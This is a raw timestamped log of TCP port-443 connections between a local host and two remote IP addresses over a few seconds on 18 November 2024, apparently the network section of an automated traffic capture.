Nov 18, 2024 17:24:40.261353016 CET	443	50044	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.262557983 CET	50048	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.262589931 CET	443	50048	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.262692928 CET	50048	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.262811899 CET	50048	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.262820005 CET	443	50048	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.264075041 CET	50049	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.264108896 CET	443	50049	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.264370918 CET	50049	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.264370918 CET	50049	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.264399052 CET	443	50049	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.281119108 CET	443	50042	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.281148911 CET	443	50042	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.281199932 CET	50042	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.281202078 CET	443	50042	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.281254053 CET	50042	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.281609058 CET	50042	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.281620026 CET	443	50042	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.281640053 CET	50042	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.281644106 CET	443	50042	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.284735918 CET	50050	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.284751892 CET	443	50050	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.284816027 CET	50050	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.284982920 CET	50050	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.284992933 CET	443	50050	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.465049028 CET	443	50046	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.465559959 CET	50046	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.465575933 CET	443	50046	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.466345072 CET	50046	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.466351032 CET	443	50046	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.597665071 CET	443	50046	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.597835064 CET	443	50046	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.597903013 CET	50046	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.599106073 CET	50046	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.599129915 CET	443	50046	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.599145889 CET	50046	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.599154949 CET	443	50046	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.602737904 CET	50051	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.602771044 CET	443	50051	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.602863073 CET	50051	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.603168964 CET	50051	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.603184938 CET	443	50051	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.978264093 CET	443	50047	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.980424881 CET	50047	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.980448008 CET	443	50047	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.980880976 CET	50047	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.980887890 CET	443	50047	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.994052887 CET	443	50049	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.998353958 CET	50049	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.998373032 CET	443	50049	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:40.998789072 CET	50049	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:40.998799086 CET	443	50049	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.004947901 CET	443	50048	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.006294012 CET	50048	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.006315947 CET	443	50048	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.006681919 CET	50048	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.006688118 CET	443	50048	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.064491034 CET	443	50050	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.068259001 CET	50050	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.068274975 CET	443	50050	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.068733931 CET	50050	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.068738937 CET	443	50050	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.112732887 CET	443	50047	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.112762928 CET	443	50047	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.112802982 CET	443	50047	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.112854958 CET	50047	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.112905979 CET	50047	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.113125086 CET	50047	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.113140106 CET	443	50047	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.113152027 CET	50047	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.113157034 CET	443	50047	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.115719080 CET	50052	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.115751028 CET	443	50052	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.115969896 CET	50052	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.116118908 CET	50052	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.116128922 CET	443	50052	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.132878065 CET	443	50049	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.132957935 CET	443	50049	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.133039951 CET	50049	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.133270979 CET	50049	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.133270979 CET	50049	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.133281946 CET	443	50049	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.133291960 CET	443	50049	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.136152029 CET	50053	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.136192083 CET	443	50053	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.136260986 CET	50053	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.136382103 CET	50053	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.136395931 CET	443	50053	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.138530016 CET	443	50048	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.138600111 CET	443	50048	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.138669968 CET	50048	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.138782978 CET	50048	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.138801098 CET	443	50048	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.138832092 CET	50048	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.138838053 CET	443	50048	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.140793085 CET	50054	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.140805960 CET	443	50054	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.140872955 CET	50054	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.141001940 CET	50054	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.141012907 CET	443	50054	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.198579073 CET	443	50050	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.198745012 CET	443	50050	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.198796034 CET	443	50050	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.198812008 CET	50050	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.198837042 CET	50050	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.198929071 CET	50050	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.198946953 CET	443	50050	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.198957920 CET	50050	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.198965073 CET	443	50050	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.201663971 CET	50055	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.201715946 CET	443	50055	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.201791048 CET	50055	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.201914072 CET	50055	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.201931953 CET	443	50055	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.873349905 CET	443	50052	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.876863956 CET	50052	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.876879930 CET	443	50052	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.880429029 CET	50052	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.880434990 CET	443	50052	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.887092113 CET	443	50053	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.892807961 CET	50053	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.892822027 CET	443	50053	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.893363953 CET	50053	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.893368959 CET	443	50053	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.897727013 CET	443	50054	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.898117065 CET	50054	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.898125887 CET	443	50054	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.898566961 CET	50054	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.898571968 CET	443	50054	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.954380035 CET	443	50055	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.955044031 CET	50055	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.955065012 CET	443	50055	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:41.955626011 CET	50055	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:41.955631018 CET	443	50055	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.014600992 CET	443	50052	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.014831066 CET	443	50052	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.014904022 CET	50052	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.014944077 CET	50052	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.014944077 CET	50052	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.014962912 CET	443	50052	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.014976025 CET	443	50052	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.017591000 CET	50056	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.017627001 CET	443	50056	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.017718077 CET	50056	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.017853022 CET	50056	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.017868996 CET	443	50056	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.020731926 CET	443	50053	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.020883083 CET	443	50053	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.020925045 CET	443	50053	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.020931959 CET	50053	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.020956993 CET	50053	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.021001101 CET	50053	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.021018028 CET	443	50053	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.021027088 CET	50053	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.021033049 CET	443	50053	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.023116112 CET	50057	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.023144007 CET	443	50057	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.023211956 CET	50057	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.023334026 CET	50057	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.023350954 CET	443	50057	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.031649113 CET	443	50054	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.031728983 CET	443	50054	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.031845093 CET	50054	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.031874895 CET	50054	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.031889915 CET	443	50054	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.034195900 CET	50058	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.034234047 CET	443	50058	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.034385920 CET	50058	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.034569025 CET	50058	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.034584045 CET	443	50058	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.086833954 CET	443	50055	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.086905956 CET	443	50055	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.087021112 CET	443	50055	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.087093115 CET	50055	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.087136030 CET	50055	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.087152004 CET	443	50055	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.087162018 CET	50055	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.087167978 CET	443	50055	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.089288950 CET	50059	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.089320898 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.089504957 CET	50059	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.089505911 CET	50059	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.089531898 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.393321991 CET	443	50051	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.394071102 CET	50051	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.394093990 CET	443	50051	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.394347906 CET	50051	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.394355059 CET	443	50051	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.524740934 CET	443	50051	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.524826050 CET	443	50051	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.524869919 CET	50051	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.525043011 CET	50051	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.525068045 CET	443	50051	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.525089025 CET	50051	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.525096893 CET	443	50051	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.529377937 CET	50060	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.529426098 CET	443	50060	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.529480934 CET	50060	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.529639006 CET	50060	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.529653072 CET	443	50060	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.743369102 CET	443	50056	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.743896961 CET	50056	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.743911028 CET	443	50056	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.744352102 CET	50056	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.744355917 CET	443	50056	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.753213882 CET	443	50057	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.753628969 CET	50057	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.753648043 CET	443	50057	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.754065037 CET	50057	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.754070044 CET	443	50057	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.764731884 CET	443	50058	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.765116930 CET	50058	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.765122890 CET	443	50058	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.765527010 CET	50058	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.765531063 CET	443	50058	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.843766928 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.844219923 CET	50059	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.844234943 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.844640970 CET	50059	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.844647884 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.871802092 CET	443	50056	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.872003078 CET	443	50056	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.872080088 CET	50056	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.872128963 CET	50056	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.872147083 CET	443	50056	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.872179031 CET	50056	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.872185946 CET	443	50056	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.874510050 CET	50061	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.874547005 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.874628067 CET	50061	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.874733925 CET	50061	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.874744892 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.884898901 CET	443	50057	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.885412931 CET	443	50057	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.885473967 CET	50057	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.885530949 CET	50057	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.885545969 CET	443	50057	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.885555983 CET	50057	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.885562897 CET	443	50057	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.887784958 CET	50062	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.887826920 CET	443	50062	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.887906075 CET	50062	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.888000011 CET	50062	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.888014078 CET	443	50062	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.902422905 CET	443	50058	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.902604103 CET	443	50058	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.902662039 CET	50058	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.902719021 CET	50058	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.902724981 CET	443	50058	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.902755022 CET	50058	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.902759075 CET	443	50058	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.905134916 CET	50063	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.905158997 CET	443	50063	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.905257940 CET	50063	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.905388117 CET	50063	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.905396938 CET	443	50063	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.997566938 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.997860909 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.997937918 CET	50059	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.997956038 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.997984886 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.998032093 CET	50059	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.998073101 CET	50059	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.998085976 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:42.998110056 CET	50059	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:42.998116016 CET	443	50059	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.000718117 CET	50064	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.000742912 CET	443	50064	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.000828028 CET	50064	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.000988007 CET	50064	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.000999928 CET	443	50064	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.204624891 CET	50066	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:24:43.204674006 CET	443	50066	142.250.185.196	192.168.2.4
Nov 18, 2024 17:24:43.204745054 CET	50066	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:24:43.204971075 CET	50066	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:24:43.204987049 CET	443	50066	142.250.185.196	192.168.2.4
Nov 18, 2024 17:24:43.587049007 CET	443	50060	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.590421915 CET	50060	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.590482950 CET	443	50060	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.590814114 CET	50060	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.590826988 CET	443	50060	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.627197027 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.630340099 CET	50061	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.630367041 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.630765915 CET	50061	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.630774975 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.635231972 CET	443	50062	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.641436100 CET	50062	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.641458988 CET	443	50062	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.642502069 CET	50062	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.642513990 CET	443	50062	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.658391953 CET	443	50063	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.662347078 CET	50063	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.662362099 CET	443	50063	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.662803888 CET	50063	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.662810087 CET	443	50063	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.719580889 CET	443	50060	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.719724894 CET	443	50060	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.719840050 CET	50060	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.720069885 CET	50060	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.720109940 CET	443	50060	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.720139980 CET	50060	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.720156908 CET	443	50060	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.723081112 CET	50067	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.723155022 CET	443	50067	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.725975990 CET	50067	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.726198912 CET	50067	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.726233006 CET	443	50067	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.740969896 CET	443	50064	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.742264032 CET	50064	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.742297888 CET	443	50064	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.742786884 CET	50064	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.742801905 CET	443	50064	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.759624004 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.759764910 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.759865046 CET	50061	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.759870052 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.760081053 CET	50061	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.760094881 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.760112047 CET	50061	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.760112047 CET	50061	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.760118961 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.760126114 CET	443	50061	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.762705088 CET	50068	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.762725115 CET	443	50068	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.762815952 CET	50068	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.762928009 CET	50068	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.762937069 CET	443	50068	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.773088932 CET	443	50062	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.773370981 CET	443	50062	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.773500919 CET	50062	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.773695946 CET	50062	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.773741961 CET	443	50062	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.773777962 CET	50062	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.773793936 CET	443	50062	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.776277065 CET	50069	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.776333094 CET	443	50069	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.776429892 CET	50069	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.776559114 CET	50069	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.776596069 CET	443	50069	13.107.246.45	192.168.2.4
